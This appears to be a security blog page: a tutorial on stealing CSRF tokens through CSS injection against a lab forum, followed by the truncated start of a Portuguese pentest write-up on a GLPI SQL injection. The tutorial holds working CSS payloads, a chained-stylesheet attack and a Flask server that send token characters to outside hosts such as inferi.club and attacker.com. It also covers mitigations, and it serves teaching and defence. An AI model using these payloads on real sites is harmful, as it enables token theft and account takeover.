Data Exfiltration with Style (CSS)

2026-06-24T00:00:00+00:00
Introduction</h2>
This article emerged after I gave a talk at BSidesSP Red Team Village (2026) and at a community called Hacking Club. During both presentations, some questions and observations arose, so I decided to turn everything into an article that can be updated whenever any improvements or errors are identified.</p> </blockquote>
CSS, or Cascading Style Sheets</em>, is a stylesheet language for building layouts and visually styling web applications. CSS follows a simple structure where we define a selector and a declaration block that specifies how that selector will be styled. For example, to apply the color red to an element with the class title, the CSS code would be:</p>
.title</span> {</span></span>
    color</span>:</span> red</span>;</span></span>
}</span></span></code></pre>
The browser that receives the HTML content then converts this document into a DOM tree. The CSS rules, whether referenced from a .css file or in the HTML code itself, are organized into blocks based on the different elements they will be applied to. The rules are then applied to the DOM tree and to the CSSOM, resulting in a render tree, which is a tree stored internally by the browser to represent the visual elements.</p>

An interesting detail is that each browser renders this in its own way. The render tree and the CSSOM are standardized by the specs, but each engine (Blink, Gecko, Webkit) has its own user-agent stylesheets</em> (the browser's default CSS rules), and this results in differences in margins, paddings, and the appearance of forms.</p>

On more complex websites we can expect more complex CSS code. For example, let's say I want only a phone-type input that also has the class user-input</code> to get a red border, so that the user is visually warned that the field is required. The CSS code would be:</p>
input</span>[</span>type</span>=</span>"tel"</span>]</span>.user-input</span> {</span></span>
    border</span>:</span> 1</span>px</span> solid red</span>;</span></span>
}</span></span></code></pre>
Applying this red border to the target element is a visual change, local to the user's browser, and it does not allow an external attacker to decide whether some condition is true or false. However, the possibility of creating an observable feedback channel (yes/no), combined with the ability to make external requests directly from CSS, is what gives rise to the oracle</strong>. An oracle is something that can confirm the value of a boolean condition (false or true), and this fits exactly with the idea of exfiltration, because even before we want to exfiltrate something, we first need to know if it exists and matches what we are looking for, in other words, a game of selector and rule.</p>
SOP, CSP and CSRF</h2>
You can imagine the risk that data exfiltration creates, given that it is entirely possible. For that reason, there are currently several protections built into browsers themselves, plus others that can be applied at the application level to help mitigate this risk. Below, we will talk a bit about SOP, CSP, and CSRF.</p>
SOP (Same-Origin Policy)</h3>
SOP, or Same-Origin Policy</em>, is a native mechanism of modern browsers that ensures a request from A to B respects its origin and establishes some policies to determine whether that request can read the result or not. This policy is based on the origin, where three elements are evaluated: scheme</code>, host</code>, and port</code>. If any of the three elements differ, trust is broken.</p>
Origin</th> Scheme</th> Host</th> Port</th> Same origin?</th></tr></thead>

https://www.facebook.com:443/perfil</td> HTTPS</td> www.facebook.com</td> 443</td> Yes</td></tr>
https://www.facebook.com:443/amigos</td> HTTPS</td> www.facebook.com</td> 443</td> Yes</td></tr>
http://www.facebook.com:80/perfil</td> HTTP</td> www.facebook.com</td> 80</td> No</td></tr>
https://mobile.facebook.com:443/perfil</td> HTTPS</td> mobile.facebook.com</td> 443</td> No</td></tr>
</tbody></table>
With the table above it becomes easier to understand how these policies are applied. If we look at the first two rows of this table, the origin is the same because both use the HTTPS scheme, both belong to the domain www.facebook.com, and both use port 443, so no policy is being violated.</p>
However, if we look at the third row, there are two differences that break the policy. The first one is the scheme, which in this case is HTTP. Another issue is that, since it is an HTTP request, it uses port 80 by default, which is already a second violation of the policy. Putting it all together, we can see that it is not a same-origin request.</p>
The same goes for the fourth row, which also violates the policy, in this case because of the different host. Even though it is still a subdomain related to www.facebook.com, it is not exactly www.facebook.com, but rather mobile.facebook.com. So the policy understands that it is not from the same origin and does not allow mobile.facebook.com to read the response from www.facebook.com via JavaScript.</p>
In case you did not notice, the issues pointed out above only represent problems faced by JavaScript requests (XHR/fetch) coming from an external origin. With CSS, it is possible to respect all of this and still exfiltrate data, but there is another detail that can become a barrier we have to face.</p>
CSP (Content-Security-Policy)</h3>
Fortunately, the browser does not rely on a single protection to control how data flows between applications. To tell the browser and the application the rules for how the content (images, JS or CSS files, etc.) should behave in that environment, we have CSP (Content-Security-Policy</em>).</p>
CSP is a mechanism that helps prevent or minimize the attack surface and the risks that attackers exploit, by embedding a list of rules that are passed from the site to the browser. Generally, CSP is used to prevent Cross-Site Scripting (XSS) attacks, blocking the insertion of direct JavaScript code or scripts from untrusted sources, but it can also be useful against other attacks such as Clickjacking</a> and MIME sniffing</a>.</p>
CSP contains several rules that can be embedded into the application, for example:</p>


default-src: Defines a default policy for the process of fetching JavaScript content, images, CSS, fonts, AJAX requests, and others. It works partially as a fallback rule when there is no explicit rule for a given scenario. Just keep in mind that not all rules use default-src as a fallback.</p>

Example: default-src 'self' cdn.inferi.club;</code></li>
</ul>
</li>

script-src: Defines valid and trusted origins for fetching JavaScript code and files.</p>

Example: script-src 'self' js.inferi.club;</code></li>
</ul>
</li>

style-src: Defines valid and trusted origins for fetching CSS code and files.</p>

Example: style-src 'self' css.inferi.club;</code></li>
</ul>
</li>

img-src: Defines valid and trusted origins for fetching images.</p>

Example: img-src 'self' img.inferi.club;</code></li>
</ul>
</li>
</ul>

> Credits: https://developer.mozilla.org
The main problem with CSP is that there is no standard, and it has to be applied by the developer themselves, depending on the application's requirements, which tend to change throughout the development and evolution of the project. For example, the implementation of new features can result in a weakness. These days it is quite common to find applications that do not use CSP at all, or that use it but in a misconfigured way, given how hard it is to keep complex applications stable when they depend on third-party resources or similar scenarios.</p>
For example, imagine a forum where the developer allows users to place images in their profile signatures and, to avoid having to host those images locally and create a file upload form, decides to let users attach images from external sources. So the developer applies the rule img-src *;</code> in the forum's CSP. This small misconfiguration can be combined with a vulnerability to result in data exfiltration.</p>
CSRF (Cross-Site Request Forgery)</h3>
CSRF, or Cross-Site Request Forgery</em>, is an attack in which the attacker tricks users into performing an action unintentionally, which can be exploited when they access an environment controlled by the attacker. Examples include: changing a password, changing an email, adding the attacker as a trusted contact, performing bank transfers, and others, partially bypassing the Same-Origin Policy.</p>

> Credits: https://portswigger.net/web-security/csrf
For a CSRF attack to be performed and considered effective, three important prerequisites must be met:</p>

The CSRF must target a relevant action, such as changing a password, sending a PIX transfer, changing the account email, etc. There is no impact if CSRF is used, for example, to log the user out of the application, unless it is later combined with another type of attack;</li>
The user's session must be controlled by the Cookie header, since the browser sends them automatically in cross-site requests if the Cookie does not have the values SameSite=Lax or SameSite=Strict;</li>
All parameters of the target request must be known or predictable. This includes the names, which cannot be random, as well as the values, which cannot be unknown to the attacker, such as the victim user's current password.</li>
</ol>
Here is an example of a CSRF attack hosted on the attacker's site, where the goal is to make the victim perform a transaction:</p>
POST /transfer/pix HTTP/1.1</span></span>
Host: bancocn.com</span></span>
Content-Type: application/x-www-form-urlencoded</span></span>
Content-Length: 30</span></span>
Cookie: session=kDmwjoKLlwJ123dwlopJ2XlpwklS</span></span>
</span>
valor=1000&chavepix=dsm@dsm.com</span></span></code></pre>
We can see in the sample request above that all the prerequisites mentioned earlier are met: it is a relevant action, the session is managed via Cookie, and finally, the values are easy to guess and follow a standard format.</p>
These days there are several protections against CSRF attacks to prevent attackers from exploiting this kind of behavior. Some of them are:</p>

CSRF Token: An unpredictable token with good entropy, tied to the session and validated server-side on every request. It is the strongest protection when properly implemented.</li>
SameSite=Lax/Strict: A protection that can be applied to the Cookie header and is effective against most POST vectors. Even so, SameSite Lax still allows GET on top-level navigation. Chrome has been applying SameSite=Lax natively since 2021, even when it is not explicitly defined.</li>
Referer: A secondary and unreliable layer. It can be suppressed by proxies, browser policies, or by the victim themselves.</li>
</ul>
An interesting point about SameSite=Lax</code> in Chrome is that it is possible to bypass it within a small time window. To avoid breaking SSO mechanisms, Chrome does not apply this restriction during the first 120 seconds of a top-level POST request, which results in a two-minute window that can become susceptible to cross-site attacks.</p>
It is worth reiterating that none of the protections above are silver bullets and cannot be considered unbreakable. As mentioned before, the application's needs and continuous development can generate events that directly impact these points and are likely to result in vulnerabilities in the environment.</p>
XS-Leaks (Cross-Site Leaks)</h2>
Given all this context, we can see that there are several protections and layers that are applied even before a request is sent from one origin to another. So the best path is to lean on native browser functions in a way that does not require breaking any policy or rule of the application, but only building a request that fits enough for what the browser and the application expect, while still exploiting some vulnerability.</p>
XS-Leaks (Cross-Site Leaks) is a category of vulnerabilities derived from side-channel attacks in the web environment. The goal is to abuse the possibility of sites interacting with each other and to exploit these mechanisms to extract information about the user. Unlike Cross-Site Request Forgery, whose goal is to make the user take actions controlled by the attacker, XS-Leaks only extracts information from the user.</p>
This is where we use the oracle concept (or Cross-site oracles) again, to find out whether the user's sensitive information is available and how we can work with boolean conditions to exfiltrate it. An example of this would be on GitHub: if you have a private repository attached to your account and use the search function to type the exact name of the repository, it will appear. If the environment were vulnerable, we could abuse this:</p>

The biggest difficulty in dealing with XS-Leaks issues is that the root cause does not always involve the application itself, but rather a default behavior of the browser. So there can be vulnerable applications that did nothing wrong. Fortunately, browsers implement, and continue to implement, several defense mechanisms to work around these problems, such as:</p>

SameSite Cookies: Using the SameSite property on cookies is very effective against Cross-Site Leaks attacks, especially when applied in an architecturally safe way.</li>
Cross-Origin-Opener-Policy: Cross-Origin-Opener-Policy (COOP) is a response header that, when set (e.g., same-origin</code>), places the document into its own browsing context group</em>, cutting the reference between it and any cross-origin window that opened it or that it later opens, so window.opener</code> becomes null</code>. This neutralizes XS-Leaks that depend on cross-origin references such as window.opener</code>, window.frames</code>, or window.length</code>.</li>
Cross-Origin-Resource-Policy: Cross-Origin-Resource-Policy (CORP) is a response header set on the resource itself (image, script, font, etc.) that indicates which origins are allowed to embed it. With values like same-origin</code> or same-site</code>, the browser blocks the loading of the resource from documents that do not match, preventing attacker pages from embedding the protected resource and using it as a side channel.</li>
</ul>
Even so, just like the other defense mechanisms we talked about earlier (SOP and CSP), the implementation depends on the developer, who must know about these mechanisms and also know how to apply them without breaking the entire application. For that reason, they are often left out. It is possible to find more mature applications that managed to apply this in their environments and it works very well, but it is not the rule, let alone a standard.</p>
Within XS-Leaks there are several attacks that can be exploited, some of which are:</p>

Cross-Site Search (XS-Search): Consists of abusing response time when a resource that exists takes more or less time to be found than content that does not exist;</li>
Frame Counting: Uses the value of the window.length</code> property to measure whether some condition is false or true. For example, let's say that on LinkedIn, if I have a connection with someone, 10 frames are loaded on the page, but if I do not have a connection, only 9 frames are loaded. This is a metric that can be used in a Frame Counting attack;</li>
Cache Probing: This is a technique for detecting whether some resource has already been stored in the browser cache, which is very common for images, scripts, and HTML code;</li>
ID Attribute: Abuses the id</code> attribute to identify HTML elements in the environment. Since it is possible to navigate to content with an id</code> attribute via hash fragments (https://example.com/profile#bank</code>), another origin can use this to build an oracle.</li>
</ul>
You will notice from the list above that everything is based on determining whether some condition is true or false, and this is the premise we have to work with. In this article, only the CSS Injection attack and vulnerability will be covered.</p>
CSS Injection</h3>
CSS Injection is a vulnerability that occurs when there is some data input in the application that is not being properly sanitized, allowing an attacker to insert CSS code to be rendered by the environment. It is quite common for this vulnerability to appear in the same scenario where HTML Injection is present, since CSS Injection depends on HTML Injection (in practice). However, CSS Injection can be very useful when JavaScript execution is blocked (whether by WAF, whitelists, or CSP), but it is still possible to inject code into the page.</p>
The CSS Injection attack is quite old, there are articles from 2012, written by the researcher Mario Heiderich ("Got Your Nose"), and there are probably even older resources. Over time, the need for new functions, attributes, and other features in CSS has only grown, increasing the range of possibilities.</p>
In CSS, there are some functions that allow us to fetch external resources to apply some kind of style to an attribute, the most commonly used one being background-image</code>. The background-image can be used in the following ways:</p>
background-image</span>: url("favicon.ico"); </span>/* Fetching a local image that already exists in the application */</span></span>
background-image</span>: url("https://inferi.club/img/example.jpg"); </span>/* Fetching an external image */</span></span></code></pre>
Given the possibility of sending a request to an external origin when the CSS rule is applied, this is exactly the oracle we are looking for. For example, let's say application A has an input</code> containing a user's token, and it is possible to inject CSS into the same page where the input</code> exists. We can use the following code:</p>
input</span>[</span>name</span>=</span>"token"</span>][</span>value</span>^=</span>"a"</span>] {</span></span>
    background-image</span>:</span> url</span>(</span>"https://inferi.club?token_char=a"</span>)</span></span>
}</span></span></code></pre>
This will basically follow the flow below:</p>

Is there an input</code> element on the page? - YES</li>
Is the name of the input</code> element token</code>? - YES</li>
Does the value of the input</code> element named token</code> start with the letter a</code>? - YES</li>
</ol>
Since the answer to all the questions was positive, the browser will make a request to https://inferi.club?token_char=a</code> to set that as the background image of the target element.</p>
The point is that the attribute selectors [attribute="value"]</code> only operate on the element itself, which can be a problem when the attribute uses an opacity: 0;</code> property, because this prevents the browser from seeing it through the traditional attribute selectors. Fortunately, since 2022, Chrome/Edge support a pseudo-class that solves this, and later, starting in 2023, it also began to work in Firefox. The pseudo-class is called: :has()</code>.</p>
A positive point about the :has()</code> pseudo-class is that it is a relational selector. We can select an element based on what exists inside it or around that attribute. An example of using the :has()</code> class would be the following:</p>
.container:has</span>(</span>input</span>[</span>name</span>=</span>"username"</span>][</span>value</span>^=</span>"admin"</span>])</span> #s0</span> {</span></span>
    color</span>:</span> red</span>;</span></span>
}</span></span></code></pre>
In another scenario, let's say that in the password change process for the user's account, besides the new password, the application also sends a CSRF token inside the form through an input</code> element that has the opacity: 0;</code> property, and this CSRF token is required to perform the password change. The lookup with the :has()</code> pseudo-class would look like this:</p>
<</span>form</span> action</span>=</span>"/trocar-senha"</span>></span></span>
    <</span>input</span> name</span>=</span>"new_password"</span> type</span>=</span>"password"</span>></span></span>
    <</span>input</span> type</span>=</span>"submit"</span>></span></span>
    <</span>input</span> type</span>=</span>"text"</span> style</span>=</span>"opacity: 0;"</span> name</span>=</span>"token_csrf"</span> value</span>=</span>"a1b2c3"</span>></span></span>
</</span>form</span>></span></span>
</span>
form:has(input[name="token_csrf"][value^="a"]) {</span></span>
    background-image: url(https://inferi.club/?char=a)</span></span>
}</span></span></code></pre>
And so, this information would reach the attacker's server:</p>
200 OK GET /?char=a</span></span></code></pre>Shadow DOM</h4>
Shadow DOM is a browser mechanism that allows you to create a Shadow Tree attached to some element of the main DOM. It works as an encapsulated environment with its own CSS scope, so that external rules do not apply to it and its own rules do not apply outside of it. Some native browser elements like <video></code> and <input type="range"></code> already use Shadow DOM internally. An interesting thing about Shadow DOM is that it can be created in two modes: open</code> or closed</code>, which determine whether an external script can reach it or not.</p>
In open</code> mode, external JavaScript code can access the shadow root through the .shadowRoot</code> property. In closed</code> mode, if JavaScript tries to access it through this property, it will receive null</code> instead of the Shadow DOM content.</p>
Here is an example of how Shadow DOM works. Imagine that inside an HTML page there is CSS code setting the following rule:</p>
<</span>style</span>></span></span>
    p</span> {</span></span>
        color</span>:</span> red</span>;</span></span>
        font-size</span>:</span> 32</span>px</span>;</span></span>
    }</span></span>
</</span>style</span>></span></span></code></pre>
In this context, all p</code> elements inside the <body></code> will be affected by the CSS rule. To avoid this with Shadow DOM, we can create a <div></code> with an id</code> indicating that it will be the shadow host and, using JavaScript, attach the Shadow DOM:</p>
<</span>div</span> id</span>=</span>"shadow-host"</span>></</span>div</span>></span></span>
</span>
<</span>script</span>></span></span>
    const</span> host</span> =</span> document.</span>querySelector</span>(</span>'#shadow-host'</span>);</span></span>
    const</span> shadowRoot</span> =</span> host.</span>attachShadow</span>({ mode:</span> 'open'</span> });</span></span>
</span>
    shadowRoot.innerHTML</span> =</span> `<p>Not affected by global CSS</p>`</span>;</span></span>
</</span>script</span>></span></span></code></pre>
Many people believe that Shadow DOM is a defense mechanism against CSS Injection. However, this is not necessarily true, with one important condition: the attacker's CSS needs to be injected inside the shadow root itself. CSS external to the shadow root cannot see what is inside it.</p>
The attack scenario happens when the application dynamically injects attacker-controlled content directly into the shadow root, for example:</p>
shadowRoot.</span>appendChild</span>(style);</span> // style.textContent = ATTACKER_CONTENT</span></span></code></pre>
In this case, since the CSS is already inside the shadow root, it is possible to use the :host</code> pseudo-class to reference the shadow host and combine it with :has()</code> to leak its attributes or those of its ancestors in the main DOM:</p>
:host:has</span>(</span>input</span>[</span>value</span>^=</span>"a"</span>]) {</span></span>
    background-image</span>:</span> url</span>(</span>"http://attacker.com?char=a"</span>)</span></span>
}</span></span></code></pre>
Note that :host</code> only takes effect when used inside a stylesheet of the shadow root itself, otherwise it does not work. Shadow DOM is not a security boundary, as the CSS spec itself states, but the attack vector depends directly on having injection inside the shadow root, not only on the main page.</p>
To make it easier to understand the exploitation of the CSS Injection vulnerability and the XS-Leaks concept, the lab will not include the use of Shadow DOM in its structure, but this question came up during my presentation at BSidesSP Red Team Village (2026), and the explanation was missing the detail of this condition.</p>
Chrome vs Firefox</h2>
An important thing to know is that Chrome and Firefox render CSS in different ways. This is called "progressive rendering" (or also "batched rendering"). In Chrome, each <link rel="stylesheet"></code> is processed individually. When Chrome finishes downloading and applying the CSS of the first link</code>, the rules of that CSS are already applied to the DOM. In other words, it is possible for link[0]</code> to apply the CSS even before the CSS of link[1]</code> reaches the origin and is applied.</p>
In Firefox, the browser groups all <link rel="stylesheet"></code> into a kind of "bucket" and only renders the CSS after all of them are downloaded. So it will wait for link[0]</code>, link[1]</code>, link[2]</code>, and so on, to be ready before applying the CSS. This directly impacts the exfiltration process, which happens sequentially and character by character.</p>
This is important to know because the way CSS Injection affects one user may not affect another one correctly, due to this behavior. However, it is still possible to exploit this technique in Firefox by using chained @import</code>, bypassing the browser's batching behavior. This is not an indication that one browser is more secure than the other, they just operate in different ways.</p>
Practical Example</h2>
For this lab, an environment was created with the following conditions:</p>

A PHP forum, simulating a community with posts, profiles, and so on;</li>
There are regular users and administrators in the application;</li>
Users can visit each other's profile;</li>
The application is vulnerable to CSS Injection and CSRF attacks;</li>
The application has a CSP with the following rules:

script-src 'self' https://cdn.jsdelivr.net</code>: Only executes JavaScript from the same origin and the indicated CDN</li>
style-src * 'unsafe-inline'</code>: Allows CSS from any origin and inline style</li>
img-src *</code>: Allows images from any origin</li>
</ul>
</li>
</ul>

On the application's home page, we are greeted by a home page listing some posts made by the forum's administrator. We have a search option and another one to authenticate to the application.</p>

Navigating to the login form, we have the "Username" and "Password" fields. In this lab, we have the following users:</p>

Admin: admin/password123</li>
User: alice/password123</li>
Guest: attacker/password123</li>
</ul>

After authenticating to the application and going to our profile page, just like in other forums, we have an option to add our own biography, which is accessible from our profile. Besides that, the application gives a hint that HTML code is supported.</p>

By inserting the code <h1>Teste</h1></code>, we can see that the HTML code is rendered in the application, indicating that the application is vulnerable to HTML Injection. To escalate our impact, let's try to inject some JavaScript code into the field to print the user's session cookies. The CSP blocks us, so no JavaScript execution for us.</p>


However, if we revisit the application's CSP, two rules applied by the developer open the door for some weaknesses in the application, namely: style-src * 'unsafe-inline'; img-src *;</code>, indicating that we can load CSS and images from any origin, in addition to executing inline CSS.</p>

Navigating through the application, after authenticating, we can see that there is a password change function and it only asks for the user's new password and a confirmation of the new password. If we analyze the request made by the application, the parameters sent are: csrf_token</code>, new_password</code>, confirm_password</code>. This csrf_token</code> field is present on every page of the application that performs a POST request, inside an input</code>.</p>


To confirm whether it is indeed possible to extract this CSRF token, let's go back to our profile, create our malicious CSS code, and start a server that will receive the connection if the CSS rule is applied. For that, the CSS code will look for the input</code> element with the name csrf</code> that starts with the character z</code>. We can see that the request reaches our server:</p>
<</span>style></span></span>
input</span>[</span>name</span>=</span>"csrf"</span>][</span>value</span>^=</span>"z"</span>] {</span></span>
    background-image</span>:</span> url</span>(</span>"https://inferi.club/?token=z"</span>)</span></span>
}</span></span></code></pre>
Given this scenario, it is possible to guess the user's CSRF token from the CSS Injection. However, considering that in this lab the token has 5 characters and can be generated in the a-z-0-9</code> format, this means we have a total of 36 characters for 5 positions, totaling 180 requests to be made. This number of requests can double, triple, or more depending on the entropy of the application's CSRF token. If we wanted to discover the second character, we would have to do something like:</p>
<</span>style></span></span>
input</span>[</span>name</span>=</span>"csrf"</span>][</span>value</span>^=</span>"za"</span>] {</span></span>
    background-image</span>:</span> url</span>(</span>"https://inferi.club/?token=za"</span>)</span></span>
}</span></span>
</span>
input</span>[</span>name</span>=</span>"csrf"</span>][</span>value</span>^=</span>"zb"</span>] {</span></span>
    background-image</span>:</span> url</span>(</span>"https://inferi.club/?token=zb"</span>)</span></span>
}</span></span>
</span>
input</span>[</span>name</span>=</span>"csrf"</span>][</span>value</span>^=</span>"zc"</span>] {</span></span>
    background-image</span>:</span> url</span>(</span>"https://inferi.club/?token=zc"</span>)</span></span>
}</span></span></code></pre>
Besides the number of requests, the victim would also need to visit our profile at least 5 times, because we would need to manually edit our biography after each character is discovered, and that is assuming we guess each next character on the first try. Pretty unrealistic.</p>
Fortunately, it is possible to work around this problem with style! (CSS). Instead of editing the biography 5 times, we are going to inject 5 <link></code> elements at once</b>, each link responsible for guessing one character:</p>
<</span>div</span> id</span>=</span>"s0"</span> style</span>=</span>"width:1px;height:1px"</span>></</span>div</span>></span></span>
<!-- … s1, s2, s3, s4 --></span></span>
<</span>link</span> rel</span>=</span>"stylesheet"</span> href</span>=</span>"https://inferi.club/css/0"</span>></span></span>
<!-- … css/1, css/2, css/3, css/4 --></span></span></code></pre>
Considering an environment where the target user uses the Chrome browser, this will work perfectly, because of the way Chrome handles <link></code> elements. The second <link></code>, for example, will only kick in when the rule from the first <link></code> is applied to the DOM. Our attack will work as follows:</p>

/css/0</code>: Responds immediately with the 36 CSS selectors for position 0</li>
/css/1</code>: Waits until /css/0 arrives</li>
/css/2</code>: Waits until /css/1 arrives</li>
/css/3</code>: …</li>
</ul>
For the attacker side, we are going to use a Flask server with three routes, each one with its respective functionality:</p>

/css/<pos></code>: Delivers the CSS for position N (and blocks until there is a match)</li>
/hit</code>: Receives the character that was discovered and unblocks the next route</li>
/reset</code>: Resets the result</li>
</ul>
The threading.Event()</code> function is a synchronization method for communication between multiple threads. It works like a semaphore that indicates whether a given action can proceed or not through boolean conditions. In summary, our Flask server will have the following structure:</p>
# Summarized code</span></span>
TOKEN_LENGTH</span> =</span> 5</span></span>
CHARSET</span>      =</span> "abcdefghijklmnopqrstuvwxyz0123456789"</span></span>
TIMEOUT</span>      =</span> 60</span></span>
</span>
_lock</span>        =</span> threading.Lock()</span></span>
_token_chars</span> =</span> {}</span></span>
_token_done</span>  =</span> False</span></span>
_events</span>      =</span> [threading.Event()</span> for</span> _</span> in</span> range</span>(</span>TOKEN_LENGTH</span>)]</span> # Can be read as: _events = [Event() × 5]</span></span>
</span>
# Route to indicate the CHAR position</span></span>
@app.route</span>(</span>"/css/<int:pos>"</span>)</span></span>
</span>
# Signals success based on C (char) and P (pos) and returns a 1px PNG for the background-image</span></span>
@app.route</span>(</span>"/hit"</span>)</span></span></code></pre>
The server does not know the token in advance, it discovers it progressively while the target user is still on the page. Each event starts closed, and the /css/0</code> route stays blocked on _events[0].wait()</code> until the /hit</code> route receives the matching character and calls _events[0].set()</code>, releasing the next step. When the last character reaches the server, the token is complete and, from the target user's point of view, nothing happened on the page.</p>
To actually exploit the vulnerability now, we will go back to our biography and use the following payload:</p>
<</span>div</span> id</span>=</span>"s0"</span> style</span>=</span>"width:1px;height:1px"</span>></</span>div</span>></span></span>
<</span>div</span> id</span>=</span>"s1"</span> style</span>=</span>"width:1px;height:1px"</span>></</span>div</span>></span></span>
<</span>div</span> id</span>=</span>"s2"</span> style</span>=</span>"width:1px;height:1px"</span>></</span>div</span>></span></span>
<</span>div</span> id</span>=</span>"s3"</span> style</span>=</span>"width:1px;height:1px"</span>></</span>div</span>></span></span>
<</span>div</span> id</span>=</span>"s4"</span> style</span>=</span>"width:1px;height:1px"</span>></</span>div</span>></span></span>
<</span>link</span> rel</span>=</span>"stylesheet"</span> href</span>=</span>"https://inferi.club/css/0"</span>></span></span>
<</span>link</span> rel</span>=</span>"stylesheet"</span> href</span>=</span>"https://inferi.club/css/1"</span>></span></span>
<</span>link</span> rel</span>=</span>"stylesheet"</span> href</span>=</span>"https://inferi.club/css/2"</span>></span></span>
<</span>link</span> rel</span>=</span>"stylesheet"</span> href</span>=</span>"https://inferi.club/css/3"</span>></span></span>
<</span>link</span> rel</span>=</span>"stylesheet"</span> href</span>=</span>"https://inferi.club/css/4"</span>></span></span></code></pre>Proof of Concept</h3>
</video></p>
The video above demonstrates the process of the attacker (Firefox) inserting the payload into their biography and starting the malicious server. Then, the admin user (Google Chrome) accesses the attacker's profile and, without any visible change on the page, has their CSRF token extracted and sent to the attacker's server.</p>
Mitigations - Practical Example</h2>
To fix the vulnerabilities presented, it is necessary to restrict the style-src</code> policy to style-src 'self'</code>, blocking the injection of external CSS, and the img-src</code> policy to img-src 'self'</code>, blocking exfiltration via image requests. Beyond that, it is important to create a whitelist of allowed HTML elements (h1, p, b, i...</code>), to require the old password in the password change flow, and to adopt a CSRF token with adequate entropy, such as 32 characters.</p>
There are other CSS exfiltration vectors, such as @font-face</code>, cursor: url()</code>, and list-style-image</code>, but all of them depend on an insecure CSP policy in order to be exploited effectively. A well-configured CSP is, therefore, the main barrier against this class of attacks.</p>
References</h2>

https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/What_is_CSS</li>
https://pt.stackoverflow.com/questions/40852/o-que-%C3%A9-dom-render-tree-e-node</li>
https://drafts.csswg.org/cssom/</li>
https://blog.logrocket.com/how-css-works-parsing-painting-css-in-the-critical-rendering-path-b3ee290762d3/</li>
https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy</li>
https://content-security-policy.com/</li>
https://portswigger.net/web-security/csrf</li>
https://xsleaks.dev/</li>
https://xsleaks.dev/docs/defenses/</li>
https://xsleaks.dev/docs/attacks/css-tricks/</li>
https://aszx87410.github.io/beyond-xss/en/ch3/css-injection/</li>
https://troopers.de/media/filer_public/47/19/4719cfce-8be9-4739-a7b4-42f9761a9fd6/tr12_day02_heiderich_got_ur_nose.pdf</li>
https://speakerdeck.com/masatokinugawa/shadow-dom-and-security-exploring-the-boundary-between-light-and-shadow</li>
https://docs.python.org/3/library/threading.html</li>
</ul>


(PT-BR) Pentest #1
2026-03-23T00:00:00+00:00
Início</h2>
Durante um pentest em um grande cliente, no processo de enumeração sobre as aplicações web disponíveis, pude encontrar uma instância do GLPI pública através de uma string estática que estava armazenada em um arquivo JavaScript de uma outra aplicação Next.js. O que é mais interessante deste GLPI é que ele não pôde ser encontrado por nenhuma ferramenta de enumeração de subdomínios ou afins, então foi um grande achado.</p>
</p>
GLPI</a> ou Gestionnaire Libre de Parc Informatique</em> é um software de código-aberto para gerenciamento de ativos de tecnologia e também de criação e resolução de tickets, comumente conhecido como help desk. É um projeto extremamente grande e bastante utilizado, contando com mais de 5 mil estrelas em seu projeto no GitHub.</p>
Percebi que era uma instância do GLPI minimamente modificada, com algumas mudanças aplicadas pelo time de desenvolvimento e tecnologia desse cliente em questão. Um ponto principal que me chamou a atenção é que a aplicação estava integrada com o sistema de SSO, o que é algo bem relevante levando em consideração a possibilidade de obter dados sensíveis ligados a organização. Não tinha certeza sobre qual era a versão desse GLPI, então optei por assumir que era uma das mais recentes, ou a mais recente. No momento da escrita deste artigo, a última versão é a 10.0.18</strong> que foi lançada em 12 de fevereiro de 2025.</p>
Então, fui até a aba de Releases</em> do projeto do GLPI no GitHub e olhei a changelog entre as últimas versões lançadas e duas vulnerabilidades específicas chamaram minha atenção, uma vulnerabilidade de SQL Injection desautenticado e outra de Remote Code Execution só que autenticada. Inicialmente a vulnerabilidade de SQL Injection era a mais promissora, justamente por não haver necessidade de ter alguma credencial do ambiente.</p>
</p>
Analisando o artigo publicado pela Lexfo</a>, podemos entender qual é a causa da vulnerabilidade de SQL Injection. Dentro da função handleAgent</strong> do arquivo src/Agent.php</strong> podemos notar uma diferença entre as versões.</p>

10.0.17</li>
</ul>
</p>

10.0.18</li>
</ul>
</p>
Podemos ver nas imagens acima que a função Sanitizer::dbEscapeRecursive</code> foi removida do trecho ligado ao parâmetro deviceid</strong> na versão 10.0.18. O problema é que a função Sanitizer::dbEscapeRecursive</code> suporta requisições com um conteúdo XML, mas possui uma falha fundamental em sua implementação. A função percorre arrays recursivamente e escapa strings conforme esperado. Porém, quando encontra um valor que não é nem array nem string, ela simplesmente retorna esse valor sem qualquer tratamento, fazendo com que outros objetos não sejam sanitizados.</p>
</p>
Vale ressaltar que o endpoint handleAgent</code> não requer credenciais para ser acessado. Isso eleva significativamente a severidade da vulnerabilidade, transformando-a em um vetor de comprometimento completo do sistema.</p>
Com isso em mente, já podemos entender o que será necessário:</p>

Enviar uma requisição do tipo POST ao GLPI que faça uso do handleXMLRequest</strong>;</li>
Usaremos do corpo XML esperado para interação com essa função, onde o parâmetro alvo é o deviceid</strong> e dentro dele colocaremos um payload de SQL Injection que será encapsulado no objeto SimpleXMLElement</code>, passando intacto pela sanitização e sendo executado no banco de dados.</li>
</ul>
</p>
Após confirmar que a instância alvo estava vulnerável, podemos presumir algumas coisas:</p>

A versão instalada é a 10.0.17 ou inferior;</li>
Possivelmente a falha CVE-2025-24801 de RCE autenticado poderá funcionar;</li>
</ul>
Um SQL Injection é uma ótima falha, mas qual o problema de toda essa situação? O primeiro problema é que a exploração é baseada em tempo (time-based SQLi</em>), o que torna um processo mais demorado, mas o problema principal mesmo é que as senhas dos usuários no GLPI que ficam armazenadas no banco de dados estão criptografadas utilizando Bcrypt, então levaria muito tempo extrair elas do banco de dados e não há qualquer garantia que eu poderia quebrá-las.</p>
Continuando no artigo da Lexfo, notei que eles trazem a sugestão de que é possível extrair o api_token</strong> de um usuário e utilizar a API do GLPI para gerar um cookie de sessão válido que cede acesso à conta do usuário-alvo. Todavia, a Lexfo não aparenta ter disponibilizado como fazer isso, então precisei descobrir o formato do api_token</strong> e como usá-lo. O primeiro processo seria identificar se o usuário está presente no banco de dados e, se estiver, extrair esse token para utilizar a API do GLPI e obter uma sessão válida.</p>
Analisando a documentação da API REST do GLPI, existe uma referência para o padrão do api_token</strong> e outras informações importantes para a construção do script. O que precisava descobrir primeiro era qual o formato desse token, seu comprimento e quais caracteres o compunham.</p>

</p>
API Rest GLPI</a></p>
